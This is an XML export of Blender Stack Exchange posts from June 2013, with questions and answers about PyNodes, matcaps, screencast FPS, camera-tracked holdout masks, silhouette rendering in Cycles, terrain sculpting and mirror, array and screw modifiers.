  <row Id="552" PostTypeId="1" CreationDate="2013-06-01T13:40:55.760" Score="11" ViewCount="323" Body="&lt;p&gt;I am trying out the Cloud Generator AddOn that comes with Blender 2.67.&#xA;I have created a a single cloud and selected the CloudPointDensity texture.&#xA;Under Turbulence I have changed Influence from Static to Global Time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This causes the cloud to evolve and change shape as time passes. However, I would like to change the speed of this evolution and I can not find anyway to accomplish this. I have tried Time Remapping and increasing the FPS of the scene. None of these attempts produces any other result other than the default evolution speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with Blender? Or does this border on feature request?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="291" LastEditorUserId="25" LastEditDate="2013-06-03T23:31:27.357" LastActivityDate="2013-06-12T07:55:11.253" Title="Increase Cloud Evolution Speed?" Tags="&lt;materials&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="553" PostTypeId="1" AcceptedAnswerId="559" CreationDate="2013-06-01T14:47:37.753" Score="5" ViewCount="711" Body="&lt;p&gt;Im not looking for a how to, but some of you may know if this is possible or not. An example of a dummy node added to compositor would be much appreciated, i can't find any (or i'm looking in all the wrong places)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PyNodes documentation is &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aPhonybone/Python_Nodes&quot;&gt;here&lt;/a&gt;, The TextEditor template Custom Node creates a custom node tree, but what am I supposed to do with that?&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-01T14:53:04.837" LastActivityDate="2013-06-01T21:22:25.820" Title="Is it possible to create a compositor node with PyNodes that outputs camera clip_start and clip_end?" Tags="&lt;customization&gt;&lt;compositor&gt;&lt;pynodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="554" PostTypeId="2" ParentId="256" CreationDate="2013-06-01T18:28:18.070" Score="11" Body="&lt;p&gt;You can do this by adding a new material and then adding an image texture to it, load in a matcap &lt;em&gt;(&lt;a href=&quot;https://svn.blender.org/svnroot/bf-blender/trunk/blender/release/datafiles/matcaps/&quot; rel=&quot;noreferrer&quot;&gt;grab some here from Blender's online src&lt;/a&gt;)&lt;/em&gt; or &lt;a href=&quot;http://pixologic.com/zbrush/downloadcenter/library/&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;here from zBrush's free library&lt;/em&gt;&lt;/a&gt; and under &lt;em&gt;Mapping&lt;/em&gt; in the texture tab set the coordinates to &lt;em&gt;Normal&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in your scene, in the &lt;kbd&gt;N&lt;/kbd&gt; panel under &lt;em&gt;Display&lt;/em&gt;, change &lt;em&gt;Shading&lt;/em&gt; to &lt;em&gt;GLSL&lt;/em&gt;, switch the viewport shading to &lt;em&gt;Texture&lt;/em&gt; with &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt; and add a &lt;em&gt;Hemi&lt;/em&gt; lamp to your scene. Any objects with the material will now show as such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;To have all objects use matcaps just temporarily assign that material until you need to render etc.&lt;/em&gt; If you have multiple objects, you can quickly do this by selecting all the ones you want to apply it to then selecting the one with the material applied already and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;L&lt;/kbd&gt; and choose &lt;em&gt;Materials&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eDBPa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-01-22T23:34:18.900" LastActivityDate="2015-01-22T23:34:18.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="555" PostTypeId="1" AcceptedAnswerId="560" CreationDate="2013-06-01T18:48:40.147" Score="5" ViewCount="4001" Body="&lt;p&gt;Is it possible to record a non-timelapse video with Blender's built-in screen recording system? I can't set the capture time under 50ms. That means 2 frames per second.&lt;/p&gt;&#xA;" OwnerUserId="181" LastEditorUserId="2217" LastEditDate="2015-01-12T00:26:51.380" LastActivityDate="2017-02-18T16:03:42.327" Title="Screen recording with Blender" Tags="&lt;customization&gt;&lt;image&gt;&lt;video&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="556" PostTypeId="1" AcceptedAnswerId="558" CreationDate="2013-06-01T20:16:31.483" Score="15" ViewCount="2123" Body="&lt;p&gt;I know it's a very new thing (post 2.4 era anyways) but there seems to be very little documentation and examples for PyNodes in general, and the little there is doesn't seem to work in latest SVN (currently r57165).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is to make a Cycles material node that has a vector output socket for each of the object(s) UV Maps, so that I don't need to look up what the name of the UV Map is in the Object Data Properties and copy-paste that into the Attribute node each time. This seems like a reasonably easy node to code, failing that even just a node like the Attribute one that can fetch an objects Custom Property to be used in the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, I'd like some help in setting up a simple PyNode like that. Is it possible? Can someone provide example code of simple working PyNodes?&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2020-10-02T23:58:32.093" Title="PyNodes, the bare basics" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;python&gt;&lt;nodes&gt;&lt;pynodes&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="557" PostTypeId="2" ParentId="553" CreationDate="2013-06-01T20:21:18.537" Score="6" Body="&lt;p&gt;Not sure if this is possible with &lt;code&gt;PyNodes&lt;/code&gt;, Seems like the sort of thing you'd use &lt;code&gt;Drivers&lt;/code&gt; for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use node settings to drive these values too,&#xA;Add a driver to the cameras clipping, and set the driver to point to a scene property, eg: &lt;code&gt;node_tree.nodes[&quot;Mix&quot;].inputs[0].default_value&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nua8R.png&quot; alt=&quot;Example setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the other way around you can do too, of course. Add a driver to a value node, and set the driver to point to the camera property like clip_sta and clip_end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/1769373/node_clipend_output.png&quot; alt=&quot;Second example setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="97" LastEditDate="2013-06-01T20:58:42.960" LastActivityDate="2013-06-01T20:58:42.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="558" PostTypeId="2" ParentId="556" CreationDate="2013-06-01T21:19:32.870" Score="10" Body="&lt;p&gt;PyNodes do not make it possible to extend Blender Internal, Cycles or the compositor with new nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are designed to make user interfaces for new node systems. For example developers of external render engines can use them to make their own shader node systems, or an addon could make a new geometry node system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would of course be very useful if they did, but that would be a much bigger project, as it requires each node system to expose an API with access to its inner workings. For Cycles the closest you can get is Open Shading Language nodes.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-01T21:19:32.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="559" PostTypeId="2" ParentId="553" CreationDate="2013-06-01T21:22:25.820" Score="6" Body="&lt;p&gt;PyNodes do not make it possible to extend Blender Internal, Cycles or the compositor with new nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are designed to make user interfaces for new node systems. For example developers of external render engines can use them to make their own shader node systems, or an addon could make a new geometry node system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would of course be very useful if they did, but that would be a much bigger project, as it requires each node system to expose an API with access to its inner workings.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-01T21:22:25.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="560" PostTypeId="2" ParentId="555" CreationDate="2013-06-01T21:42:47.893" Score="1" Body="&lt;p&gt;You can change the FPS for screencasting in Blender from the System panel of the User Preferences.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;File &gt; User Preferences&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Switch to the &lt;strong&gt;System&lt;/strong&gt; panel.&lt;/li&gt;&#xA;&lt;li&gt;Adjust the &lt;em&gt;FPS&lt;/em&gt; and &lt;em&gt;Wait Timer&lt;/em&gt; under the &lt;strong&gt;Screencast&lt;/strong&gt; section.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ysp9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-06-01T21:42:47.893" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="561" PostTypeId="1" AcceptedAnswerId="586" CreationDate="2013-06-02T03:16:13.360" Score="4" ViewCount="1674" Body="&lt;p&gt;With my trial and error learning, I managed to track a video in Blender 2.67 and make a cube (the one which is there by default) appear on the &quot;ground&quot; (which is a table).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I make a hole in the ground?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the two buttons shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f7osW.png&quot; alt=&quot;Blender motion tracking&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two functions seems to do a bunch of things to the scene, which seems to include setting the background and foreground layers, and adding a &lt;code&gt;Ground&lt;/code&gt; object to the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, what do I need to do to create a hole that appears to sink into the table?&lt;/p&gt;&#xA;" OwnerUserId="292" LastEditorUserId="12" LastEditDate="2013-06-04T18:32:42.200" LastActivityDate="2013-06-07T03:20:20.557" Title="Make a hole in the ground of a video which is camera-tracked?" Tags="&lt;tracking&gt;&lt;masking&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="562" PostTypeId="1" AcceptedAnswerId="5248" CreationDate="2013-06-02T06:30:41.927" Score="17" ViewCount="21678" Body="&lt;p&gt;For an architectural visualization, I would like to use MakeHuman models, but:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Only get them to render white with a black outline (on reflection surface too, if possible).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Interact with light like normal human bodies in the scene (cast shadows, etc).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can do the outline in freestyle, but any in-Cycles solution would be appreciated (OSL?)&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="599" LastEditDate="2013-12-03T08:09:59.517" LastActivityDate="2014-12-12T06:49:33.677" Title="How to get silhouette with contour rendering in Cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="563" PostTypeId="1" AcceptedAnswerId="670" CreationDate="2013-06-02T06:48:09.100" Score="13" ViewCount="1118" Body="&lt;p&gt;I downloaded the geometric node from git, and copied it in the addon folder of blender 2.67. Tried with 2.67b and a self-compiled svn version, in both, I can't enable it in the user preferences. Does anyone know how to get it to work ? I didn't find any readme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit, more info :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I downloaded geometry_nodes from &lt;a href=&quot;https://www.gitorious.org/blender-trunk/addons/trees/geometry_nodes/py/scripts/addons/geometry_nodes&quot;&gt;https://www.gitorious.org/blender-trunk/addons/trees/geometry_nodes/py/scripts/addons/geometry_nodes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extracted the folder geometry_nodes in my ~/.config/blender/2.67/scripts/addons/ folder&lt;/li&gt;&#xA;&lt;li&gt;it appears in user preferences under add-ons but I can't activate it. Launching Blender from the command-line doesn't give any help (no error given in output)&lt;/li&gt;&#xA;&lt;li&gt;Trying to launch &lt;em&gt;init&lt;/em&gt;.py gives following error in the console : &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.config/blender/2.67/scripts/addons/geometry_nodes/parameter.py&quot;, line&#xA;  433, in register_mod_pass&#xA;      from geometry_nodes import modifiers &#xA;  ImportError: cannot import name modifiers&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="296" LastEditorUserId="12" LastEditDate="2013-06-05T02:15:29.147" LastActivityDate="2013-06-09T09:14:42.723" Title="Getting pynodes geometric node to work" Tags="&lt;pynodes&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="10" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="564" PostTypeId="1" AcceptedAnswerId="570" CreationDate="2013-06-02T07:27:13.890" Score="6" ViewCount="883" Body="&lt;p&gt;I tried to get some hills and valley on a 2x2 Km plane with dynatopo, but it is invisible as it seems to be limited in the height it can produce. How can i get it to make bumps that are realistic for that use (100m big or even more) ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; I know the solution using subdivided planes and proportional editing but it is not as powerful and flexible.&#xA;As it as to fit the rest of the scene, I can't realistically work on a 2m plane and then scale to 2Km every time to check if it's ok and then back to 2m to polish, that back and forth is way to time consuming.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="14" LastEditDate="2013-12-19T21:51:42.813" LastActivityDate="2013-12-19T21:51:42.813" Title="How to use dynamic topology for terrain modeling" Tags="&lt;modeling&gt;&lt;sculpting&gt;&lt;dynamic-topology&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="565" PostTypeId="2" ParentId="561" CreationDate="2013-06-02T07:48:06.307" Score="3" Body="&lt;p&gt;There are several options, depending on which  render engine you use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;for Blender Internal&lt;/em&gt;&lt;/strong&gt;:&lt;br&gt;&#xA;For a quick and dirty solution you could use a large plane for the floor, with your &lt;a href=&quot;https://www.google.com/search?site=imghp&amp;amp;tbm=isch&amp;amp;source=hp&amp;amp;biw=1075&amp;amp;bih=797&amp;amp;q=sink%20holel%20road&quot; rel=&quot;nofollow&quot;&gt;sink-hole&lt;/a&gt; chopped out of it, and enable transparency on the material associated with the plane, Then enable Mask and set the Alpha to 0.0. The ground plane won't be visible any more in the render, but it will still occlude the geometry that you don't want to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;for Cycles using Holdout&lt;/em&gt;&lt;/strong&gt;:&lt;br&gt;&#xA;Enable &lt;code&gt;Transparent&lt;/code&gt; in &lt;code&gt;Properties &amp;gt; Render &amp;gt; Film&lt;/code&gt; and give the occluding geometry a &lt;code&gt;Holdout&lt;/code&gt; material.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-02T21:43:33.423" LastActivityDate="2013-06-02T21:43:33.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="566" PostTypeId="1" AcceptedAnswerId="567" CreationDate="2013-06-02T10:03:13.590" Score="27" ViewCount="2896" Body="&lt;p&gt;Having discovered the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/generate/mirror.html#mirror-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;mirror modifier&lt;/a&gt; I have been assuming I should always use it when modeling a symmetrical object.&lt;/p&gt;&#xA;&lt;p&gt;For instance, take a simple stool. Is it more efficient to model one half with a mirror, or model the round top, and one leg, and then copy the leg around to each quarter?&lt;/p&gt;&#xA;&lt;p&gt;Can I make a mirror of a mirror and model just a quarter of the chair? Should I?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Basically I am asking for alternatives work flows to mirroring, and the relative merits of them.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="298" LastEditorUserId="15924" LastEditDate="2020-10-20T12:23:18.177" LastActivityDate="2020-10-20T12:23:18.177" Title="When is it useful to mirror?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;workflow&gt;&lt;mirror&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="567" PostTypeId="2" ParentId="566" CreationDate="2013-06-02T10:16:28.240" Score="20" Body="&lt;p&gt;&amp;quot; When is it useful to use mirror? &amp;quot;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you can imagine placing a mirror along one half of an object, and the object appears correct, use a mirror.&lt;/li&gt;&#xA;&lt;li&gt;Even when the geometry on both sides is mostly mirrored and differs slightly, you can edit each side individually after applying the mirror (breaking the symmetry).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;For anything with symmetry:&lt;/h3&gt;&#xA;&lt;p&gt;you can mirror x,y , try it! place the origin at the center and tick both x,y axis for the mirror.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/I26eY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;an &lt;code&gt;Array Modifier&lt;/code&gt; can be useful when the repetition goes beyond straight x,y mirroring. Use an empty as the &lt;code&gt;object offset&lt;/code&gt; and rotate the empty on (for example) the z-axis by 60 degrees, to get a &lt;code&gt;radial array&lt;/code&gt; like this example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kfrkH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note: &lt;code&gt;object offset&lt;/code&gt; is generally referred to as the &lt;code&gt;pivot point&lt;/code&gt; when talking about radial arrays.&lt;/p&gt;&#xA;&lt;p&gt;And then there is the &lt;code&gt;Screw Modifier&lt;/code&gt;, which can be considered a &lt;code&gt;Lathe modifier&lt;/code&gt;, which lets you draw a profile and rotate it around to form the shape. This is very common practice. I prefer the screw modifier instead of the &lt;code&gt;Spin tool&lt;/code&gt;, because you can keep editing the profile without having to 're-spin'&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UyHzX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can combine these geometry modifiers, for example you can mirror a section then radial array the result. Here's a crude example&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/75soQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-04T13:16:07.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="568" PostTypeId="2" ParentId="566" CreationDate="2013-06-02T10:33:26.903" Score="8" Body="&lt;p&gt;Drifting from your example a bit, one other case would be when modeling cylindrical or perfectly round objects, say for example a vase. A mirror modifier would be very inefficient in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of manually shaping or mirroring the object you can make half the outline and &lt;em&gt;Spin&lt;/em&gt; the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trace half the outline with a curve or using vertices. &lt;em&gt;(If you use a curve, you will have to convert it to a mesh before doing this, just use&lt;/em&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pfR3Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then &lt;em&gt;Spin&lt;/em&gt; it, switch to top view and use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;R&lt;/kbd&gt; and configure the settings in the toolshelf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FVbJ7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB:&lt;/strong&gt; You should remove doubles after this operation &lt;em&gt;as the trace will end up back at the beginning one if you do a complete spin&lt;/em&gt;, use &lt;kbd&gt;W&lt;/kbd&gt; → &lt;em&gt;Remove Doubles&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="47" LastEditDate="2013-06-02T17:18:37.767" LastActivityDate="2013-06-02T17:18:37.767" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="569" PostTypeId="2" ParentId="540" CreationDate="2013-06-02T10:47:59.037" Score="1" Body="&lt;p&gt;As suggested by @sarahm I tried &lt;a href=&quot;http://www.brekel.com/?page_id=170&quot; rel=&quot;nofollow noreferrer&quot;&gt;Brekel Kinect&lt;/a&gt; and it worked with the following settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZFOTL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The results weren't as good as I hoped: The sceleton jitters, bones are sometimes crossed.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-06-02T10:47:59.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="570" PostTypeId="2" ParentId="564" CreationDate="2013-06-02T12:25:32.993" Score="5" Body="&lt;p&gt;Try applying scale to the object, with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; Scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There shouldn't be any limit to the height you can sculpt, but object scaling might make the sculpting influence too small. Also this is probably a general sculpt mode problem not specific to dynamic topology.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-02T12:25:32.993" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="571" PostTypeId="2" ParentId="562" CreationDate="2013-06-02T13:32:59.333" Score="7" Body="&lt;p&gt;I tried solving the problem you have posed and could achieve the following result using Cycles shader nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used the cross product between the shading normal and incoming direction vector and passed it to a math node whose output is fed to the mix shader that plugs in to the material's surface socket. The mix shader is fed with another mix shader which feeds an emission shader for the camera ray, otherwise the output of second mix is black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EoE4V.png&quot; alt=&quot;Cycles Silhouette&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to high-res version: &lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=52714&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/pic/show.php?id=52714&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-06-03T04:08:24.647" LastActivityDate="2013-06-03T04:08:24.647" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="572" PostTypeId="2" ParentId="562" CreationDate="2013-06-02T16:00:45.730" Score="3" Body="&lt;p&gt;In the Materials panel, in the top right, there should be a drop-down menu with 'Data' selected. Open the menu and select 'Object' instead. Then, if you use an Emission shader, the object will still cast a shadow (although a weak one), and will not affect the lighting on other objects.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-06-02T16:00:45.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="575" PostTypeId="2" ParentId="562" CreationDate="2013-06-02T23:24:23.407" Score="15" Body="&lt;p&gt;Render your scene twice. First in cycles and then in Blender Internal. Leave cycles materials in BI and change the alpha to transparent in the shading setting. There will be edges only in BI. When you get both of your scenes rendered. Use the compositor with the &quot;alpha over&quot; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want your human to be a shadeless white, you could use a material index node in Cycles that creates a mask of your object without shadows but it will still cast shadows under image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tjWOI.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tjWOI.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Test render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RqlWR.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RqlWR.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="181" LastEditorUserId="14" LastEditDate="2013-06-03T14:48:05.607" LastActivityDate="2013-06-03T14:48:05.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="576" PostTypeId="2" ParentId="247" CreationDate="2013-06-03T00:22:05.013" Score="25" Body="&lt;p&gt;I've found that a good lighting rig goes a long way towards helping the realism of any scene. If you're looking for less harshness and a less geometric/calculated look, you should try enabling &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/world_settings.html#ambient-occlusion&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ambient Occlusion&lt;/a&gt; in your renderer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XZBlo.jpg&quot; alt=&quot;ambient occlusion example&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see here, the modeling is rather basic (not to rag on the author), but the soft lighting effects of the ambient occlusion calculations reduce the sharpness.&lt;/p&gt;&#xA;&lt;p&gt;Just keep in mind that this won't be a silver bullet; you still need other parts to make a good lighting rig, but that's a lot more involved than a single answer.&lt;/p&gt;&#xA;" OwnerUserId="54" LastEditorUserId="15924" LastEditDate="2020-10-12T19:30:01.363" LastActivityDate="2020-10-12T19:30:01.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="577" PostTypeId="1" AcceptedAnswerId="578" CreationDate="2013-06-03T00:40:52.390" Score="11" ViewCount="15690" Body="&lt;p&gt;Something happened when editing a Blender scene that caused me to lose the whole texture properties window and most of the materials window as well. They all appear as normal when starting a new file, but for this file they seem to be permanently gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the window looks like now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SpZzT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="303" LastEditorUserId="2217" LastEditDate="2015-01-12T00:28:22.983" LastActivityDate="2017-03-25T21:00:14.833" Title="Where did my material / texture buttons go?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;interface&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="578" PostTypeId="2" ParentId="577" CreationDate="2013-06-03T01:00:58.870" Score="7" Body="&lt;p&gt;It seems you changed the rendering engine to Cycles accidentally.  In the Info window (aka the main menu), click the drop-down list which reads “Cycles Render” and change it to “Blender Render” (or “Blender Game” if you are using the Blender game engine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6KTYt.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="220" LastEditorUserId="220" LastEditDate="2013-06-03T01:09:07.160" LastActivityDate="2013-06-03T01:09:07.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="580" PostTypeId="2" ParentId="577" CreationDate="2013-06-03T01:29:02.117" Score="11" Body="&lt;p&gt;When using the &lt;em&gt;Cycles render engine&lt;/em&gt;, the textures tab will only show if you have a texture added to your material. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's no texture properties, then you can enable it by &lt;strong&gt;assigning a texture&lt;/strong&gt; of any kind to the color input of your shader.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click the dot for the &lt;strong&gt;Color Input&lt;/strong&gt; of your shader&lt;/li&gt;&#xA;&lt;li&gt;Select a &lt;strong&gt;texture&lt;/strong&gt; of any kind&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;texture properties&lt;/strong&gt; will now be shown&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/brIhA.png&quot; alt=&quot;Assigning A Texture To The Color Channel&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2BIL0.png&quot; alt=&quot;Cycle&amp;#39;s Texture Panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-06-03T01:29:02.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
